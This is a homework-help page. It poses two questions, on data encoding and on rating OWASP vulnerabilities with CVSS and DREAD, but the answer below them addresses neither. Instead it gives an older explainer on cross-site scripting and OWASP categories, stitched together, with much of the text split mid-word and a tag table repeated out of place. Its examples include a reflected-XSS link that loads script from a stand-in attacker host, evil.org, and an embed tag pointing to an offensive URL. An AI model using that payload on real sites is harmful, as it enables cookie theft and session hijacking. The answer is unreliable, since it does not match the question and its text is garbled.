1) The solution for many vulnerabilities is proper encoding of user supplied dat

Question

1) The solution for many vulnerabilities is proper encoding of user supplied data. Compare and contrast early (i.e. as it is stored in the database) vs. late (i.e. as the data is reflected back to the user) encoding of data in web applications. How is this concept related to input validation?

2) Use the Common Vulnerability Scoring System to rate each of the four vulnerabilities: Injection, Broken Authentication and Session Management, Cross-Site Scripting (XSS), and Security Misconfiguration (provide a screenshot and explanations for your choices). Perform the same classification using the DREAD approach. Were there any discrepancies in the relative ratings of risk between the two approaches? If so, why?

Explanation / Answer

As web-based applications have become more sophisticated, the types of vulnerabilities are capable of exploiting has rapidly increased. A particular class of attacks commonly referred to as “code insertion” and often “Cross-Site Scripting” has become increasingly popular. Unfortunately, the number of applications vulnerable to these attacks is staggering, and the varieties of ways attackers are finding to successfully exploit them is on the increase. Analysis of many sites has indicated that not only are the majority of sites vulnerable, but they are vulnerable to many different methods and much of their content is affected.

Introduction

Web servers delivering dynamic content to Internet clients constitute an integral component of most organisations online service offerings. The ability to tune content and respond to an individual client request represents standard functionality for any successful site. Unfortunately, due to poorly developed application code and data processing systems, the majority of these successful sites are vulnerable to attacks that focus upon the way HTML content is generated and interpreted by client browsers. Attackers are often able to embed malicious HTML-based content within client web requests. With sufficient forethought and analysis, attackers can exploit these flaws by embedding scripting elements within the returned content without the knowledge of the sites visitor.
Although the potential dangers have been known for several years now, the recent successes and improved understanding of cross-site scripting attacks has increased the importance of correctly handing user input within dynamically generated web content. High profile sites have already been shown to be susceptible to cross-site scripting attack. Future attacks are likely to become more sophisticated and, through automation and exploitation of client browser vulnerabilities, many times more devastating.
This document aims to educate those responsible for the management and development of commercial online services by providing the information necessary to understand the significance of the threat, and provide advice on securing applications against this type of attack.

Code Insertion

The success of this type of attack hinges upon the functionality of the client browser. In HTML, to distinguish displayable text from the interpreted markup language, some characters are treated specially. One of the most common special characters used to define elements within the markup language is the “<“ character, and is typically used to indicate the beginning of an HTML tag. These tags can either affect the formatting of the page or induce a program that the client browser executes (e.g. the <SCRIPT> tag introduces a JavaScript program).
As most web browsers have the ability to interpret scripts embedded within HTML content enabled by default, should an attacker successfully inject script content, it will likely be executed within context of the delivery (e.g. website, HTML help, etc.) by the end user. Such scripts may be written in any number of scripting languages, provided that the client host can interpret the code. Scripting tags that are most often used to embed malicious content include <SCRIPT>, <OBJECT>, <APPLET> and <EMBED>.
While this document largely focuses upon the threat presented through the injection of malicious scripting code, other tags may be inserted and abused by an attacker. Consider the <FORM> tag – by inserting the appropriate HTML tag information, an attacker could trick visitors to the site into revealing sensitive information by modifying the behaviour of the existing form for instance. Other HTML tags may be inserted to alter the appearance and behaviour of a page (e.g. alteration of an organisations online annual accounts or presidents statement?).
It is important to understand the HTML tags that are most commonly used to carry out code insertion tags. The following table details the most important attributes of these tags. However, it is important to note that alternative “in-line” scripting elements may be used and interpreted by the current generation of web browsers, such as javascript:alert('executing script').

Supported by: Netscape, IE 3+, HTML 4, Opera 3+

Supported by: Netscape, IE, HTML 4

Supported by: Netscape, IE 3+, HTML 4

Supported by: Netscape, IE 3+, Opera 3+

Supported by: All

Malicious Code

An embedded code attack is heavily dependant upon the delivery mechanism. Thus the delivery method often dictates the audience the script will potentially affect.
It is interesting to note that such attacks have been around since before the Internet and HTML. Back in the days of dial-up Bulletin Boards Systems (BBS), the problem was site visitors encoding their messages in coloured ASCII and later, the use of vector drawing languages permitted users to redesign pages themselves. Thus many sites hosting discussion groups with user interfaces learnt along time ago to rigorously control the content that be could submitted.
An early problem for web-based discussion groups was the over-use and unintended misuse of standard HTML tags. For instance, early message boards merely took the user submitted text from a standard POST form. This data was then added to the discussion page, without any further processing. Users often included text formatting tags to bold, italicise or colour their text – making a greater visual impact to their message. Unfortunately, it was not uncommon for someone to forget to provide a closing format tag, resulting in the unintentional effect of altering every following message on the page. Now consider the implications of a user embedding the following two code snippets in their posting and what the implications would be to everyone viewing the message.

Hello World! <SCRIPT>malicious code</SCRIPT>

Hello World! <EMBED src="http://www.paedophile.com/movies/rape.mov">

Unfortunately, attackers are finding ever more ingenious methods of encoding their embedded attacks, and consequently many more sites are vulnerable.
Of particular importance is the abuse of trust. Consider a trusted site with a poorly coded search engine. An attacker may be able to embed their malicious code within a hyperlink to the site. When the client web browser follows the link, the URL sent to trusted.org includes malicious code. The site sends a page back to the browser including the value of criteria, which consequently forces the execution of code from the evil attackers’ server. For example;

<A href="http://trusted.org/search.cgi?criteria=&lt;SCRIPT SRC='http://evil.org/badkama.js'&gt;&lt;/SCRIPT&gt;"> Go to trusted.org</A>

In the attack above, one source is inserting code into pages sent by another source.

It should be noted that this attack:
• disguises the link as a link to http://trusted.org,
• can be easily included in an HTML email message,
• does not supply the malicious code inline, but is downloaded from http://evil.org. Thus the attacker retains control of the script and can update or remove the exploit code at anytime.
This class of vulnerability is popularly referred to as cross-site scripting (CSS or sometimes XSS).

Cross Site Scripting

A cross-site scripting vulnerability is caused by the failure of an web based application to validate user supplied input before returning it to the client system. “Cross-Site” refers to the security restrictions that the client browser usually places on data (i.e. cookies, dynamic content attributes, etc.) associated with a web site. By causing the victim’s browser to execute injected code under the same permissions as the web application domain, an attacker can bypass the traditional Document Object Model (DOM) security restrictions which can result not only in cookie theft but account hijacking, changing of web application account settings, spreading of a webmail worm, etc.
Note that the access that an intruder has to the Document Object Model (DOM) is dependent on the security architecture of the language chosen by the attacker. Specifically, Java applets do not provide the attacker with any access beyond the DOM and are restricted to what is commonly referred to as a sandbox.
The most common web components that fall victim to CSS/XSS vulnerabilities include CGI scripts, search engines, interactive bulletin boards, and custom error pages with poorly written input validation routines. Additionally, a victim doesn’t necessarily have to click on a link; CSS code can also be made to load automatically in an HTML e-mail with certain manipulations of the IMG or IFRAME HTML tags.
The most popular CSS/XSS attack (and devastating) is the harvesting of authentication cookies and session management tokens. With this information, it is often a trivial exercise for an attacker to hijack the victims active session, completely bypassing the authentication process. Unfortunately, the mechanism of the attack is very simple and can be easily automated. A detailed paper by iDefence goes into great detail explaining the process, but can be quickly summarised as follows:

The attacker now visits the web site and, by substituting his cookie information with that of the victims, is now perceived to be the victim by the server application.

Note that Cross-site scripting is commonly referred to as CSS and/or XSS.

Unvalidated Input:

Unvalidated input is a fairly broad vulnerability c

ategory that has very serious

consequences. All web based applications need to h

andle input coming from a variety of

untrusted sources (most notably the user of the app

lication). If the input is not validated,

attackers can use that opportunity to attack the ba

ckend components of the applications.

In general, validation needs to be performed each t

ime the data crosses a trust boundary.

Validation may be performed on the client site, but

for performance purposes early.

Client site validation should never be relied upon

for security. Validation also needs to

happen at the web, application and database tiers.

A variety of application level attacks

could be avoided if input validation is performed p

roperly; those include SQL injection,

Cross Site Scripting (XSS), buffer overflows, forma

t string, cookie poisoning, hidden

field manipulation, command injections, etc. Unval

idated input could lead to

compromise of authorization, integrity, authenticat

ion and availability security services.

That is discussed in more detail later in the paper

. All user input in HTTP requests

should always be aggressively validated against whi

te lists (list of allowable input) as

opposed to black lists (list of input that is not a

llowed).

- Broken Access Control

Broken access control (authorization) problems resu

lt when restrictions on what

authenticated users are allowed to do are not prope

rly enforced. Application

vulnerabilities that fall in this category could al

low attackers to access accounts of other

users, view confidential information or use unautho

rized functionality. There is a variety

of attacks that fall into this category that could

allow attackers to escalate privileges. For

instance, reliance on hidden fields to establish id

entity for the purpose of access to web

based administrative interfaces will allow an attac

ker unauthorized access because hidden

fields can be easily manipulated. Exploitation of

some other vulnerability in the

application can cause violation in access control.

For instance, crafting an attack that

exploits a buffer overflow to modify some flag vari

able used for an authorization check

could result in broken access control. Some key ac

cess controls issues include insecure

ids, forced browsing past access control checks (UR

L tampering), path traversal, file

permissions and client side caching.

-Broken Authentication and Session Management

If proper steps are not taken to protect session to

kens and account credentials, such as

passwords, keys and session cookies, attackers can

use those to defeat authentication

checks and assume identities of other users. Authe

ntication mechanisms can be

circumvented if authentication credentials and toke

ns are not properly handled by

credential management functions such as those to ch

ange password, retrieve forgotten

password, account update, etc. Session tokens need

to be properly protected against

hijacking so that attackers cannot assume identitie

s of authenticated users simply by

hijacking the session after the authentication has

taken place. Session tokens created

should be strong and should be properly protected t

hroughout the lifecycle of the session.

Secure Sockets Layer (SSL) technology can go a long

way towards creation of a secure

session; however SSL is not properly implemented in

many instances.

Command Injections

Enterprise web applications pass parameters when th

ey access external systems,

applications, or use local OS resources. Whenever

possible, those parameters should not

come directly from the user and be defined as const

ants. Otherwise, they should be

rigorously validated prior to usage. If an attacke

r can embed malicious commands into

these parameters, they may be executed by the host

system when the access routines are

invoked by the application. SQL injection is a part

icularly common and serious type of

injection, where SQL statements are passed to the w

eb application and then without

validation are passed to the routine that accesses

the database with that SQL statement.

Command injections can be used to disclose informat

ion, corrupt data and pass malicious code to an external system application via the web

application.Improper Error Handling (Exception Management

)

Errors and exceptions occurring during the operatio

n of the enterprise web application

should be handled properly. Error information that

is echoed to the user in its raw form

can cause information disclosure. For instance, le

tting an attacker know the OS that the

host machine is running, the version of the databas

e and the database driver can allow the

attacker to exploit existing vulnerabilities for th

ose technologies. Improperly managed

exceptions can result in disruption of availability

or cause security mechanisms to fail.

- Insecure Storage

Data spends far more time in storage than it does i

n transit and must therefore be stored

in a secure manner. Encryption of data is not a ba

d idea to promote confidentiality and

protect application data, passwords, keys, etc. Ev

en when encryption is used, it is not

often used properly. Some of the common types of m

istakes make that fall into this

category include failure to encrypt critical data,

insecure storage of keys, certificates and

passwords, improper storage of secrets in memory, p

oor sources of randomness, poor

choice of cryptographic algorithms, and homegrown e

ncryption algorithms. While

encryption can help protect confidentiality of stor

ed data, hashing can be used to

ascertain integrity. A central point here is that

as little as possible of sensitive

information should be stored by the enterprise web

applications. For instance, it might

make sense to ask the users to reenter their credit

card number each time instead of persisting it.

HTML Tag Description <SCRIPT> Adds a script that is to be used in the document.
Attributes:

• type = Specifies the language of the script. Its value must be a media type (e.g. text/javascript). This attribute is required by the HTML 4.0 specification and is a recommended replacement for the “language” attribute.
• language = Identifies the language of the script, such as JavaScript or VBScript.
• src = Specifies the URL of an outside file containing the script to be loaded and run with the document. (Netscape only)

Supported by: Netscape, IE 3+, HTML 4, Opera 3+

<OBJECT> Places an object (such as an applet, media file, etc.) on a document. The tag often contains information for retrieving ActiveX controls that IE uses to display the object.
Attributes:

• classid = Identifies the class identifier of the object.
• codebase = Identifies the URL of the object’s codebase.
• codetype = Specifies the media type of the code. Examples of code types include audio/basic, text/html, and image/gif. (IE and HTML 4.0 only)
• data = Specifies the URL of the data used for the object.
• name = Specifies the name of the object to be referenced by scripts on the page.
• standby = Specifies the message to display while the object loads.
• type = Specifies the media type for the data.
• usemap = Specifies the imagemap URL to use with the object.

Supported by: Netscape, IE, HTML 4

<APPLET> Used to place a Java applet on a document. It is depreciated in the HTML 4.0 specification in favour of <object> tag.
Attributes:

• code = Specifies the class name of the code to be executed (required).
• codebase = The URL from which the code is retrieved.
• name = Names the applet for reference elsewhere on the page.

Supported by: Netscape, IE 3+, HTML 4

<EMBED> Embeds an object into the document. Embedded objects are most often multimedia files that require special plug-ins to display. Specific media types and their respective plug-ins may have additional proprietary attributes for controlling the playback of the file. The closing tag is not always required, but is recommended. The tag was dropped by the HTML 4.0 specification in favour of the <object> tag.
Attributes:

• hidden = Hides the media file or player from view when set to yes.
• name = Specifies the name for the embedded object for later reference within a script.
• pluginspage = Specifies the URL for information on installing the appropriate plug-in.
• src = Provides the URL to the file or object to be placed on the document. (Netscape 4+ and IE 4+ only)
• code = Specifies the class name of the Java code to be executed. (IE only)
• codebase = Specifies the base URL for the application. (IE only)
• pluginurl = Specifies a source for installing the appropriate plug-in for the media file. (Netscape only)
• type = Specifies the MIME type of the plug-in needed to run the file. (Netscape only)

Supported by: Netscape, IE 3+, Opera 3+

<FORM> Indicates the beginning and end of a form.
Attributes:

• action = Specifies the URL of the application that will process the form.
• enctype = Specifies how the values for the form controls are encoded when they are submitted to the server.
• method = Specifies which HTTP method will be used to submit the form data.
• target = Specifies a target window for the results of the form submission to be loaded ( _blank, _top, _parent, and _self).

Supported by: All

Related Questions

Navigate

• Browse (All)
• Browse 1
• Subjects

---

---

Integrity-first tutoring: explanations and feedback only — we do not complete graded work. Learn more.